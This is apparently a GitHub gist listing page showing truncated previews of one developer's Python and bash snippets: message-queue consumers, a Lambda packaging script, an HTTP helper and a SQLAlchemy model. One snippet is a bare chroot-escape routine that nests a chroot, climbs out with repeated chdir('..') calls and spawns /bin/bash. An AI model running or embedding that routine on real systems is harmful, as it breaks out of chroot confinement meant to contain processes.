Skip to content

Instantly share code, notes, and snippets.

View FernandoCelmer's full-sized avatar

Fernando Celmer FernandoCelmer

View GitHub Profile
@FernandoCelmer
FernandoCelmer / script_checkout_branch.py
Last active November 26, 2021 04:59
script_checkout_branch
import os
print('Option: ')
options = ['UPY-#', 'CS2-', 'No Task', 'Sem Tarefa']
for index, text_option in enumerate(options):
print(str(index) + " - "+ options[index])
option_num = int(input())
option = options[option_num]
import os
print('Option: ')
options = ['UPY-#', 'CS2-', 'No Task', 'Sem Tarefa']
for index, text_option in enumerate(options):
print(str(index) + " - "+ options[index])
option_num = int(input())
option = options[option_num]
# coding=utf-8
import pika, sys, os
import environ
def main():
env = environ.Env()
environ.Env.read_env()
rabbitmq_url = env("RABBITMQ_URL")
# coding=utf-8
import pika
import environ
env = environ.Env()
environ.Env.read_env()
rabbitmq_url = env("RABBITMQ_URL")
params = pika.URLParameters(rabbitmq_url)
#!/usr/bin/env bash
root_dir=$PWD
venv_dir="$root_dir/venv/lib/python3.9/site-packages"
function_name="app-api-dev"
bucket_name="app-api"
file_name="app_dev.zip"
# Zip Package
mkdir zip && cp -r app/ zip/app/ && cp -r config.py zip/config.py \
import http.client, urllib.parse
class Request(object):
def __init__(self) -> None:
self.path = None
self.url = None
self.header = None
self.setup()
import sys
def exception_hook(exc_type, exc_value, tb):
print('Traceback:')
filename = tb.tb_frame.f_code.co_filename
name = tb.tb_frame.f_code.co_name
line_no = tb.tb_lineno
print(f"File {filename} line {line_no}, in {name}")
# Exception type and value
from sqlalchemy.orm import declarative_base
Base = declarative_base()
from sqlalchemy import Column, Integer, String
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
name = Column(String)
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
"""
Command:
python update.py template/core core
Args:
First argument -> Local Path
Second argument -> Host Path
Requirements:
pip install python-dotenv